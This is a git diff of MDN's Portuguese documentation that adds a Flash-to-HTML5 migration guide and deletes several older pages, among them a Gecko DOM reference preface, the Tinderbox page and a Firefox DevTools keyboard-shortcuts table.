diff --git a/files/pt-pt/plugins/flash_to_html5/index.html b/files/pt-pt/plugins/flash_to_html5/index.html new file mode 100644 index 0000000000..b17f365038 --- /dev/null +++ b/files/pt-pt/plugins/flash_to_html5/index.html @@ -0,0 +1,82 @@ +--- +title: Guia de migração de Flash para HTML5 +slug: Plugins/Flash_para_HTML5 +tags: + - Complementos + - Flash + - HTML5 + - Jogos + - Plug-ins + - Publicidade + - Sockets + - Video + - anuncios + - Área de transferência +translation_of: Plugins/Flash_to_HTML5 +--- +

Este conjunto de artigos fornece informação sobre como migrar o conteúdo e a funcionalidade do Flash existente para HTML e JavaScript.

+ +

Background

+ +

Flash became very popular in the late 1990s to early 2000s because it provided an effective way to create rich content on the web — such as animations, games, and video players. However, it has a number of issues; the Flash Player causes security and performance problems, and leads to bloated pages. In addition, the modern web platform has feature parity with Flash, so you no longer need to rely on plugins to implement rich content.

+ +

Browsers are working together to move carefully towards a plugin-free web (see our Plugin Roadmap), so developers should start migrating their Flash-based functionality to open web technologies as soon as possible.

+ +
+
+

Vídeo

+ +

All you need to know to move your video requirements over from Flash to HTML5 (see the Flash video to HTML5 video landing page also).

+ +

Planeamento

+ +
+
Planning your transition from Flash video to HTML5 video
+
Transitioning from Flash to HTML5 can take several months and may require new skills and software. This guide shows you how to plan for that transition, and contains two main parts, Content audit and Decision points.
+
+ +

Processo

+ +
+
File format conversion
+
Once you've planned out what you want to do, the first step is to convert your video files into formats compatible with HTML embedding.
+
DRM and authentication
+
If your media requires authentication/rights to access, you'll need to work out how to hook up the necessary DRM and authentication mechanisms.
+
Video advertising
+
You may also want to incorporate advertising into your video delivery system, via an ad network.
+
Distribution
+
A CDN is a popular choice for effective delivery of media content.
+
Video and audio players
+
There are a number of ways to play back web media depending on the scale of your needs and whether you need ad integration and digital rights management.
+
Subtitles and captions
+
Just as audio and video may need transcoding for the web, subtitles and captions may also need to be converted and made available.
+
+
+ +
+

Outros tópicos

+ +

Other common Flash use cases that should now be migrated to HTML5.

+ +
+
Open web games
+
Flash games used to be very common, but the open web is now a viable platform for creating and distibuting games.
+
Real-time apps with WebSockets
+
Flash TCP sockets have been commonly used to create real-time multiuser apps such as chat apps, but they can be replaced with WebSockets.
+
Clipboard access
+
Flash's clipboard API used to be the only available means for creating advanced clipboard functionality, but this is now available in web standards.
+
Content and advertising visibility with Intersection Observer
+
Flash used to be a simple but slow way to detect content and advertising visibility on the page. The web platfom now has the Intersection Observer API to do this better and faster.
+
Flexible user interfaces with CSS
+
Adobe Flex used to provide a way to effectively create flexible user interfaces on the web, but the open web platform now boasts powerful CSS layout systems like Grid and Flexbox to close the gap.
+
Camera/Microphone access with WebRTC
+
Developers used to rely exclusively on Flash for accessing the user's camera and microphone, but this can now be achieved with WebRTC and related technologies. See also Media Capture and Streams API and getUserMedia for useful starting points.
+
File selection using the File API
+
The web platform has functionality accessing files on the user's file system, e.g. for upload or display. See <input type="file"> and Using files from web applications for useful resources.
+
+
+
+ +

Obter ajuda

+ +

If you find that our migration guide leaves you with any questions unanswered, please don't hesitate to visit our MDN Discourse page and ask them there.

diff --git "a/files/pt-pt/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" "b/files/pt-pt/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" deleted file mode 100644 index f026443d93..0000000000 --- "a/files/pt-pt/refer\303\252ncia_do_dom_gecko/pref\303\241cio/index.html" +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: Prefácio -slug: Referência_do_DOM_Gecko/Prefácio -tags: - - Referência_do_DOM_Gecko ---- -

{{ ApiRef() }}

-

Sobre Esta Referência

-

Esta seção descreve o próprio guia: a quem se destina, como a informação está representada, e como você pode usar os exemplos desta referência para seu próprio desenvolvimento de DOM.

-

Note que este documento está sob desenvolvimento, e atualmente não é uma listagem completa das propriedades e métodos do DOM implementados para o Gecko. No entanto, cada seção individual do documento (por exemplo, o DOM Document Reference) está completa para o(s) objeto(s) que descreve. Ao passo que as informações de referência para os vários membros das enormes APIs tornam-se disponíveis, elas são integradas neste documento.

-

Quem Deveria Ler Este Guia

-

O leitor do Gecko DOM Reference é um desenvolvedor web ou um usuário entusiasta que sabe algo sobre como as páginas de internet são construídas. Esta referência evitar fazer presunções sobre a familiaridade do leitor com o DOM, com XML, com servidores web ou padrões web, e mesmo com JavaScript, a linguagem na qual o DOM se torna acessível para o leitor. Mas o documento pressupõe familiaridade com HTML, com marcações, com a estrutura básica de páginas de internet, com navegadores e com folhas de estilo.

-

Aqui está presente o material introdutório, com muitos exemplos, e explicações de alto nível devem ser valiosas tanto para os desenvolvedores web inexperientes quanto para os experientes, e não é apenas um guia de desenvolvimento web para "iniciantes". Em geral, contudo, é um manual de referência da API que está evoluindo.

-

O Que É Gecko?

-

Mozilla, Firefox, Netscape 6+, e outros navegadores baseados no Mozilla tem implementações idênticas do DOM. Isto é porque eles usam a mesma tecnologia.naturally, it applies only to products based on the same version of Gecko, but it's tricky to explain

-

Gecko, o componente de software destes navegadores que manipula a análise do HTML, o layout das páginas, o modelo de objeto do documento, e mesmo a renderização da interface da aplicação inteira, é um componente renderizador, rápido, condizente com padrões, que implementa os padrões da W3C e similares (mas não padronizados) para o modelo de objeto de navegador (por exemplo, window et al) no contexto de páginas de internet e interfaces de aplicações, ou - - chrome - , do navegador.

-

Embora a interface de aplicação e o conteúdo mostrado na tela pelo navegador são diferentes de várias maneiras possíveis, o DOM os dispõe uniformemente como uma hierarquia de nós. (commenting this incomplete sentence out for now...) The tree structure of the DOM (which in its application to the user

-

Sintaxe da API

-

Cada descrição na referência da API inclui a sintaxe, os parâmetros de entrada e saída (onde o tipo de retorno é dado), um exemplo, quaisquer notas adicionais, e um link para a especificação apropriada.

-

Tipicamente, propriedades somente para leitura têm uma única linha de sintaxe, porque não é possível atribuir-lhes valor, essas propriedades podem apenas ser acessadas. Por exemplo, a propriedade somente para leitura availHeight do objeto screen tem a seguinte a seguinte informação de sintaxe:

-
- Image:Preface2.gif
-

Isto significa que você somente pode usar a propriedade do lado direito da sentença; enquanto com propriedades de leitura e escrita, você pode atribuir um valor à propriedade, como o seguinte exemplo de sintaxe ilustra:

-
- Image:Prefacea.gif
-

Em geral, o objeto cujo membro está sendo descrito é dado na sentença sintática por um tipo simples, por exemplo, element para todos os elementos, document para o objeto de documento de nível mais alto, table para o objeto tabela, e assim por diante (veja Tipos de dados importantes para maiores informações sobre os tipos de dados).

-

Usando os exemplos

-

Muitos dos exemplos que se encontram nesta referência são arquivos completos que você pode executar apenas copiando e colando em um novo arquivo e abrindo com o seu navegador. Outros são trechos de código. Você pode executar estes últimos colocando-os dentro de funções de chamada em JavaScript. Por exemplo, o exemplo para a propriedade window.document pode ser testada dentro de uma função como seguinte, que é chamada pelo botão:

-
<html>
-
-<script>
-function testWinDoc() {
-
-  doc= window.document;
-
-  alert(doc.title);
-
-}
-</script>
-
-<button onclick="testWinDoc();">Testar propriedade do document</button>
-
-</html>
-
-

Funções e páginas similares podem ser concebidas para todos os membros do objeto que todavia não estão prontos para uso imediato. Veja a introdução da seção Testando a API do DOM para uma bateria de testes que você pode usar para testar de uma vez uma série de APIs.

-
-  
-

{{ languages( { "es": "es/Referencia_DOM_de_Gecko/Prefacio", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Pr\u00e9face", "ja": "ja/Gecko_DOM_Reference/Preface", "ko": "ko/Gecko_DOM_Reference/Preface", "pl": "pl/Dokumentacja_Gecko_DOM/Przedmowa", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003/Preface" } ) }}

diff --git "a/files/pt-pt/refer\303\252ncia_jsdbgapi/index.html" "b/files/pt-pt/refer\303\252ncia_jsdbgapi/index.html" deleted file mode 100644 index c965649379..0000000000 --- "a/files/pt-pt/refer\303\252ncia_jsdbgapi/index.html" +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Referência JSDBGAPI -slug: Referência_JSDBGAPI -tags: - - JavaScript - - Referência_JSDBGAPI - - SpiderMonkey - - Todas_as_Categorias ---- -

 

- -

Lista Alfabética

- -

Estruturas de Dados

- -

Funções

- -

Macros

- -

Desaprovado

- -

Condicionantes de pré-processador

diff --git a/files/pt-pt/sobre_o_document_object_model/index.html b/files/pt-pt/sobre_o_document_object_model/index.html deleted file mode 100644 index 015c14ffc8..0000000000 --- a/files/pt-pt/sobre_o_document_object_model/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: Sobre o Document Object Model -slug: Sobre_o_Document_Object_Model -tags: - - DOM - - Todas_as_Categorias ---- -

O que é o DOM?

- -

O Document Object Model é uma API para documentos HTML e XML. Isto proporciona uma representação estrutural de um documento, habilitando você a modificar seu conteúdo e apresentação visual. Essencialmente, isto conecta páginas web àscripts ou linguagens de programação.

- -

Todas as propriedades, métodos, e eventos disponíveis para o desenvolvimento web para manipulação e criação de páginas web são organizados dentro dos objetos (e.g., o documento objeto que representa o documento por si mesmo, a tabela objeto que representa a tabela de elementos HTML, e assim por diante). Estes objetos são acessíveis via linguagens descripts nos mais recentes navegadores web.

- -

O DOM é normalmente o mais usado em conjunto com o JavaScript. Que é, o código é escrito em JavaScript, mas usa o DOM para acessar a página web e seus elementos. Entretanto, o DOM foi desenhado para ser independente de qualquer linguagem de programação particular, fazendo a representação estrutural do documento disponível em uma simples, API consistente. Embora nosso foco no JavaScript por todo este site, implementações do DOM podem ser construídas para qualquer linguagem.

- -

O World Wide Web Consortium estabelece um padrão para o DOM, chamado o W3C DOM. Deve, agora que os mais importantes navegadores implementaram isto corretamente, ativar poderosas aplicações multi navegadores.

- -

Por que o suporte DOM no Mozilla é importante?

- -

"HTML Dinâmico" (DHTML) é um termo usado por alguns vendedores para descrever a combinação do HTML, folhas de estilo escripts que permitem aos documentos serem animados. O Grupo de Trabalho W3C DOM está trabalhando duro para certificar-se da solução de interoperabilidade e linguagem-neutra sejam aceitos (veja também o W3C FAQ). Como o Mozilla reivindica o título de "Plataforma de Aplicação Web", suporte para o DOM é uma das características mais requisitadas, e uma necessária se o Mozilla deseja se tornar uma alternativa viável para outros navegadores.

- -

Ainda mais importante é o fato de que a interface de usuário do Mozilla (também Firefox e Thunderbird) é construída usando XUL -- uma linguagem XML de interface de usuário. Então Mozilla usa o DOM para manipular seu próprio UI.

- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/tinderbox/index.html b/files/pt-pt/tinderbox/index.html deleted file mode 100644 index d0c041ec2e..0000000000 --- a/files/pt-pt/tinderbox/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Tinderbox -slug: Tinderbox -tags: - - Desenvolvimento_Mozilla - - 'Desenvolvimento_Mozilla:Ferramentas' - - Ferramentas - - Todas_as_Categorias ---- -

 

- -

Tinderbox é uma ferramenta web que os desenvolvedores Mozilla usam para checar se o código CVS corrente compila e passa nos testes funcionais básicos.

- -

Árvores disponíveis:

- - - -

Mozilla roda a configuração de computadores ("Tinderboxen") que continuamente constrói o código fonte mais recente; a ferramenta web tinderbox mostra o estado destas construções. Use as tabelas dela para encontrar o estado da fonte da árvore para a plataforma, produto, e galhos de código que você esteja interessado. Se isto for verde, significa que o último teste de código CVS compilado passou nos testes de fumo. Se for vermelho, isto falhou, e sua construção possivelmente falhará também.

- -

A ferramenta web tinderbox reporta os resultados de vários testes de performance (inglês) como Tp ou Txul. Os desenvolvedores Mozilla frequentemente checam estes números para observar o efeito de mudanças de código na performance; uma mudança que é suficiente para diminuir a performance e pode ser descartada.

- -

Categorias

- -

Interwiki Language Links

diff --git a/files/pt-pt/toolkit_api/index.html b/files/pt-pt/toolkit_api/index.html deleted file mode 100644 index baf0ea793e..0000000000 --- a/files/pt-pt/toolkit_api/index.html +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Toolkit API -slug: Toolkit_API ---- -

O Mozilla Toolkit, ou em português, a caixa de ferramentas Mozilla, é um conjunto de interfaces de programação (APIs) construídos com base no Gecko que fornece serviços avançados a aplicações XUL. Estes serviços incluem: -

Gestão de Perfil; -Registo Chrome; -Histórico de Navegação; -Gestão de Extensões e de Temas; -Serviço de Actualização de Aplicações; -Modo de Segurança; -

diff --git a/files/pt-pt/tools/add-ons/index.html b/files/pt-pt/tools/add-ons/index.html deleted file mode 100644 index ab408aeb18..0000000000 --- a/files/pt-pt/tools/add-ons/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Add-ons -slug: Tools/Add-ons -tags: - - NeedsTranslation - - TopicStub -translation_of: Tools/Add-ons ---- -
{{ToolsSidebar}}

Developer tools that are not built into Firefox, but ship as separate add-ons.

- -
-
WebSocket Monitor
-
Examine the data exchanged in a WebSocket connection.
-
 
-
diff --git a/files/pt-pt/tools/atalhos_de_teclado/index.html b/files/pt-pt/tools/atalhos_de_teclado/index.html deleted file mode 100644 index fdf9129b59..0000000000 --- a/files/pt-pt/tools/atalhos_de_teclado/index.html +++ /dev/null @@ -1,1156 +0,0 @@ ---- -title: Todos os atalhos de teclado -slug: Tools/atalhos_de_teclado -tags: - - Ferramentas - - 'I10n:priority' -translation_of: Tools/Keyboard_shortcuts ---- -
{{ToolsSidebar}}
- -

Esta página lista todos os atalhos de teclado utilizados pelas ferramentas de desenvolvimento integradas no Firefox.

- -

A primeira secção lista o atalho para abrir cada ferramenta e a segunda secção lista os atalhos que são aplicáveis ​​à própria 'Caixa de Ferramentas.' Depois disso, existe uma secção para cada ferramenta, que lista os atalhos que pode utilizar dentro dessa ferramenta.

- -

Porque as chaves de acesso são dependentes do local, elas não estão documentadas nesta página.

- -

Abrir e fechar ferramentas

- -

Estes atalhos funcionam na janela principal do navegador para abrir a ferramenta especificada. Para as ferramentas que estão alojadas na 'Caixa de Ferramentas', elas funcionam para fechar a ferramenta se estiver ativa. Para as ferramentas, tal como a 'Consola do Navegador' que abre numa nova janela, tem de fechar a janela para fechar a ferramenta.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Bring Toolbox to foreground (if the Toolbox is in a separate window and not in foreground)Ctrl + Shift + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Close Toolbox (if the Toolbox is in a separate window and in foreground)Ctrl + Shift + I or F12Cmd + Opt + I or F12Ctrl + Shift + I or F12
Open Web Console 1Ctrl + Shift + KCmd + Opt + KCtrl + Shift + K
Toggle "Pick an element from the page" (opens the Toolbox and/or focus the Inspector tab)Ctrl + Shift + CCmd + Opt + CCtrl + Shift + C
Open Style EditorShift + F7Shift + F7 *Shift + F7
Open ProfilerShift + F5Shift + F5 *Shift + F5
Open Network Monitor 2Ctrl + Shift + ECmd + Opt + ECtrl + Shift + E
Toggle Responsive Design ModeCtrl + Shift + MCmd + Opt + MCtrl + Shift + M
Open Browser ConsoleCtrl + Shift + JCmd + Shift + JCtrl + Shift + J
Open Browser ToolboxCtrl + Alt + Shift + ICmd + Opt + Shift + ICtrl + Alt + Shift + I
Open ScratchpadShift + F4Shift + F4 *Shift + F4
Open WebIDEShift + F8Shift + F8 *Shift + F8
Storage InspectorShift + F9Shift + F9 *Shift + F9
Open Debugger 3Ctrl + Shift + ZCmd + Opt + ZCtrl + Shift + Z
- -

1. Ao contrário das outras ferramentas hospedadas na caixa de ferramentas, este atalho também não fecha a consola da Web. Em vez disso, este concentra-se na linha de comando da consola da Web. Para fechar a consola, utilize o atalho da caixa de ferramentas global de Ctrl + Shift + I (Cmd + Opt + I num Mac).

- -

2. Antes do Firefox 55, o atalho de teclado era Ctrl + Shift + Q (Cmd + Opt + Q num Mac).

- -

3. Até ao Firefox 38, quando uma 'Consola do Navegador' está ocultada por uma janela normal do Firefox, a mesma combinação de teclas fecha a consola. A partir do Firefox 38, se a 'Consola do Navegador' é ocultada por uma janela normal do Windows, esta combinação de teclas volta a apresentar esta consola no topo e foca-se na mesma.

- -

4. A ferramenta está desativada por predefinição, assim o atalho não funcionará até que este seja ativado no 'Painel das Definições'.

- -

Caixa de Ferramentas

- -
-

Estes atalhos funcionam sempre que a caixa de ferramentas estiver aberta, independentemente da ferramenta ativa.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Cycle through tools left to rightCtrl + ]Cmd + ]Ctrl + ]
Cycle through tools right to leftCtrl + [Cmd + [Ctrl + [
-

Toggle between active tool and settings

-
Ctrl + Shift + OCmd + Shift + OCtrl + Shift + O
Toggle between active tool and settings (new in Firefox 43)F1F1F1
-

Toggle toolbox between the last 2 docking modes (new in Firefox 41)

-
Ctrl + Shift + DCmd + Shift + DCtrl + Shift + D
Toggle split console (except if console is the currently selected tool)EscEscEsc
-
- -
-

Estes atalhos funcionam em todas as ferramentas que estão hospedadas na caixa de ferramentas.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsOS XLinux
Increase font sizeCtrl + + Cmd + + Ctrl + +
Decrease font sizeCtrl + -Cmd + -Ctrl + -
Reset font sizeCtrl + 0Cmd + 0Ctrl + 0
-
- -

Editor fonte

- -
-

Esta tabela lista os atalhos predefinidos para o editor fonte.

- -

Nas secção das 'Preferências do Editor' das configurações das ferramentas de desenvolvimento, pode escolher para utilizar Vim, Emacs, ou combinações de teclas de Sublime Text.

- -

Para as selecionar, visite about:config, selecione a definição devtools.editor.keymap, e atribua "vim" ou "emacs", ou "sublime" para essa definição. Se fizer isso, as combinações selecionadas serão utilziadas para todas as ferramentas de desenvolvimento que utilziam o editor fonte. Precisa de reabrir o editor para que a alteração seja aplicada.

- -

A partir do Firefox 33, a preferência de combinação de teclas está exposta na secção de Preferências do Editor das definições das ferramentas de desenvolvimento, e pode definir isso lá, em vez de about:config.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsOS XLinux
Ir para a linhaCtrl + JCmd + JCtrl + J
Encontrar um ficheiroCtrl + FCmd + FCtrl + F
Encontrar novamenteCtrl + GCmd + GCtrl + G
Selecionar tudoCtrl + ACmd + ACtrl + A
CortarCtrl + XCmd + XCtrl + X
CopiarCtrl + CCmd + CCtrl + C
ColarCtrl + VCmd + VCtrl + V
AnularCtrl + ZCmd + ZCtrl + Z
RefazerCtrl + Shift + Z / Ctrl + YCmd + Shift + Z / Cmd + YCtrl + Shift + Z / Ctrl + Y
IndentarTabTabTab
Remover indentaçãoShift + TabShift + TabShift + Tab
Mover linha(s) para cimaAlt + UpAlt + UpAlt + Up
Mover linha(s) para baixoAlt + DownAlt + DownAlt + Down
Comentar/remover comentário linha(s)Ctrl + /Cmd + /Ctrl + /
-
- -

Inspetor de Página

- -
- - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Elemento de InspeçãoCtrl + Shift + CCmd + Opt + CCtrl + Shift + C
- -

Selecionador de Nodo

- -

Estes atalhos funcionam enquanto o selecionador de nodo estiver ativo.

- - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Select the element under the mouse and cancel picker modeClickClickClick
Select the element under the mouse and stay in picker modeShift+ClickShift+ClickShift+Click
- -

Painel HTML

- -

Estes atalhos funcionam enquanto estiver no painel Inspetor HTML.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Delete the selected nodeDeleteDeleteDelete
Undo delete of a nodeCtrl + ZCmd + ZCtrl + Z
Redo delete of a nodeCtrl + Shift + Z / Ctrl + YCmd + Shift + Z / Cmd + YCtrl + Shift + Z / Ctrl + Y
Move to next node (expanded nodes only)Down arrowDown arrowDown arrow
Move to previous nodeUp arrowUp arrowUp arrow
Expand currently selected nodeRight arrowRight arrowRight arrow
Collapse currently selected nodeRight arrowRight arrowRight arrow
Step forward through the attributes of a nodeTabTabTab
Step backward through the attributes of a nodeShift + TabShift + TabShift + Tab
Start editing the selected attributeEnterReturnEnter
Hide/show the selected nodeHHH
Focus on the search box in the HTML paneCtrl + FCmd + FCtrl + F
Edit as HTMLF2F2F2
Copy the selected node's outer HTML (new in Firefox 42)Ctrl + CCmd + CCtrl + C
Scroll the selected node into view (new in Firefox 44)SSS
Find the next match in the markup, when searching is activeEnterReturnEnter
Find the previous match in the markup, when searching is activeShift + EnterShift + ReturnShift + Enter
- -

Barra de Breadcrumbs

- -

Este atalhos funcionam quando a barra de breadcrumbs estiver focada.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Move to the previous element in the breadcrumbs bar Left arrowLeft arrowLeft arrow
Move to the next element in the breadcrumbs bar Right arrowRight arrowRight arrow
Focus the HTML paneShift + TabShift + TabShift + Tab
Focus the CSS paneTabTabTab
- -

Painel CSS

- -

Estes atalhos funcionam quando estiver no painel de Inspetor CSS.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Focus on the search box in the CSS paneCtrl + FCmd + FCtrl + F
Clear search box content (only when the search box is focused, and content has been entered)EscEscEsc
Step forward through properties and valuesTabTabTab
Step backward through properties and valuesShift + TabShift + TabShift + Tab
Start editing property or value (Rules view only, when a property or value is selected, but not already being edited)Enter or SpaceReturn or SpaceEnter or Space
Cycle up and down through auto-complete suggestions (Rules view only, when a property or value is being edited)Up arrow , Down arrowUp arrow , Down arrowUp arrow , Down arrow
Choose current auto-complete suggestion (Rules view only, when a property or value is being edited)Enter or TabReturn or TabEnter or Tab
Increment selected value by 1Up arrowUp arrowUp arrow
Decrement selected value by 1Down arrowDown arrowDown arrow
Increment selected value by 100Shift + Page UpShift + Page UpShift + Page Up
Decrement selected value by 100Shift + Page DownShift + Page DownShift + Page Down
Increment selected value by 10Shift + Up arrowShift + Up arrowShift + Up arrow
Decrement selected value by 10Shift + Down arrowShift + Down arrowShift + Down arrow
Increment selected value by 0.1Alt + Up arrowOpt + Up arrowAlt + Up arrow
Decrement selected value by 0.1Alt + Down arrowOpt + Down arrowAlt + Down arrow
Show/hide more information about current property (Computed view only, when a property is selected, new in Firefox 49)Enter or SpaceReturn or SpaceEnter or Space
Open MDN reference page about current property (Computed view only, when a property is selected, new in Firefox 49)F1F1F1
Open current CSS file in Style Editor (Computed view only, when more information is shown for a property and a CSS file reference is focused, new in Firefox 49)EnterReturnEnter
-
- -

Depurador

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Open the DebuggerCtrl + Shift + SCmd + Opt + SCtrl + Shift + S
Search for a string in the current fileCtrl + F Cmd + FCtrl + F
Find next in the current fileCtrl + G Cmd + G Ctrl + G 
Search for function definitionsCtrl + DCmd + DCtrl + D
Search for scripts by nameCtrl + P Cmd + PCtrl + P
Resume execution when at a breakpointF8F8 1F8
Step overF10F10 1F10
Step intoF11F11 1F11
Step outShift + F11Shift + F11 1Shift + F11
- -

1. By default, on some Macs, the function key is remapped to use a special feature: for example, to change the screen brightness or the volume. See this guide to using these keys as standard function keys. To use a remapped key as a standard function key, hold the Function key down as well (so to open the Profiler, use Shift + Function + F5).

- -

Note: Before Firefox 66, the combination Ctrl + Shift + S on Windows and Linux or Cmd + Opt + S on macOS would open/close the Debugger. From Firefox 66 and later, this is no longer the case.

-
- -

Consola da Web

- -
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Open the Web ConsoleCtrl + Shift + KCmd + Opt + KCtrl + Shift + K
Search in the message display paneCtrl + FCmd + FCtrl + F
Clear the object inspector paneEscapeEscapeEscape
Focus on the command lineCtrl + Shift + KCmd + Opt + KCtrl + Shift + K
Clear output -

Ctrl + L

- -

From Firefox 44:

- -

Ctrl + Shift + L

-
Ctrl + L -

Ctrl + L

- -

From Firefox 44:

- -

Ctrl + Shift + L

-
- -

Intérprete da linha de comando

- -

Estes atalhos aplicam-se quando estiver no intérprete da linha de comando.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Scroll to start of console output (only if the command line is empty)HomeHomeHome
Scroll to end of console output (only if the command line is empty)EndEndEnd
Page up through console outputPage upPage upPage up
Page down through console outputPage downPage downPage down
Go backward through command historyUp arrowUp arrowUp arrow
Go forward through command historyDown arrowDown arrowDown arrow
Move to the beginning of the lineHomeCtrl + ACtrl + A
Move to the end of the lineEndCtrl + ECtrl + E
Execute the current expressionEnterReturnEnter
Add a new line, for entering multiline expressionsShift + EnterShift + ReturnShift + Enter
- -

Janela de 'Completar Automaticamente'

- -

Este atalhos aplicam-se enquanto a janela de completar automaticamente estiver aberta:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Choose the current autocomplete suggestionTabTabTab
Cancel the autocomplete popupEscapeEscapeEscape
Move to the previous autocomplete suggestionUp arrowUp arrowUp arrow
Move to the next autocomplete suggestionDown arrowDown arrowDown arrow
Page up through autocomplete suggestionsPage upPage upPage up
Page down through autocomplete suggestionsPage downPage downPage down
Scroll to start of autocomplete suggestionsHomeHomeHome
Scroll to end of autocomplete suggestionsEndEndEnd
-
- -

Editor de Estilo

- - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Abrir o Editor de EstiloShift + F7Shift + F7Shift + F7
Abrir janela 'Completar Automaticamente'Ctrl + SpaceCmd + SpaceCtrl + Space
- -
-

Scratchpad

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Open the ScratchpadShift + F4Shift + F4Shift + F4
Run Scratchpad codeCtrl + RCmd + RCtrl + R
Run Scratchpad code, display the result in the object inspectorCtrl + ICmd + ICtrl + I
Run Scratchpad code, insert the result as a commentCtrl + LCmd + LCtrl + L
Re-evaluate current functionCtrl + ECmd + ECtrl + E
Reload the current page, then run Scratchpad codeCtrl + Shift + RCmd + Shift + RCtrl + Shift + R
Save the padCtrl + SCmd + SCtrl + S
Open an existing padCtrl + OCmd + OCtrl + O
Create a new padCtrl + NCmd + NCtrl + N
Close ScratchpadCtrl + WCmd + WCtrl + W
Pretty print the code in ScratchpadCtrl + PCmd + PCtrl + P
Show autocomplete suggestionsCtrl + SpaceCtrl + SpaceCtrl + Space
Show inline documentationCtrl + Shift + SpaceCtrl + Shift + SpaceCtrl + Shift + Space
-
- -
-

Eyedropper

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ComandoWindowsmacOSLinux
Selecionar a cor atualEnterReturnEnter
Rejeitar o EyedropperEscapeEscapeEscape
Mover 1 píxelArrow keysArrow keysArrow keys
Mover 10 píxeisShift + arrow keysShift + arrow keysShift + arrow keys
-
- -
- - - - - -
-
diff --git a/files/pt-pt/tools/capturas_de_ecra/index.html b/files/pt-pt/tools/capturas_de_ecra/index.html deleted file mode 100644 index 79f19d78ea..0000000000 --- a/files/pt-pt/tools/capturas_de_ecra/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Capturas de ecrã -slug: Tools/Capturas_de_ecra -tags: - - Ferramentas -translation_of: Tools/Taking_screenshots ---- -
{{ToolsSidebar}}

You can use the Developer Tools to take a screenshot of the entire page, or of a single element in the page.

- -

Efetuar capturas de ecrã de uma página

- -

Use the screenshot icon: to take a full-page screenshot of the current page.

- -

By default, the screenshot icon is not enabled. To enable it:

- - - -

You'll now see the icon in the toolbar:

- -

{{EmbedYouTube("KB5V9uJgcS4")}}

- -

Click the icon to take a screenshot of the current page. The screenshot is saved to your browser's "Downloads" directory:

- -

{{EmbedYouTube("HKS6MofdXVE")}}

- -

Efetuar uma captura de ecrã de um elemento

- -

To take a screenshot of a single element in the page, activate the context menu on that element in the Inspector's HTML pane, and select "Screenshot Node". The screenshot is saved to the browser's "Downloads" directory:

- -

{{EmbedYouTube("p2pjF_BrE1o")}}

- -

Copiar capturas de ecrã para a área de transferência

- -

From Firefox 53, you can also copy the screenshot to the clipboard. Just check the box in Settings labeled "Screenshot to clipboard":

- -

{{EmbedYouTube("AZedFGh6F78")}}

- -

Now, whenever you take a screenshot, the screenshot is also copied to the clipboard.

diff --git "a/files/pt-pt/tools/configura\303\247\303\265es/index.html" "b/files/pt-pt/tools/configura\303\247\303\265es/index.html" deleted file mode 100644 index ec62fb999b..0000000000 --- "a/files/pt-pt/tools/configura\303\247\303\265es/index.html" +++ /dev/null @@ -1,244 +0,0 @@ ---- -title: Configurações -slug: Tools/Configurações -translation_of: Tools/Settings ---- -
{{ToolsSidebar}}

Abrir as Configurações

- -

Para ver o painel das 'Configurações das Ferramentas de Desenvolviemtno', abra quaisquer 'Ferramentas de Desenvolvimento', e depois:

- - - -

The Settings pane looks something like this:

- -

Depicts the Toolbox options

- -

Categorias

- -

Default Firefox Developer Tools

- -

This group of checkboxes determines which tools are enabled in the toolbox. New tools are often included in Firefox but not enabled by default.

- -

Botões Disponíveis da Caixa de Ferramentas

- -

This group of checkboxes determines which tools get an icon in the Toolbox's toolbar.

- -

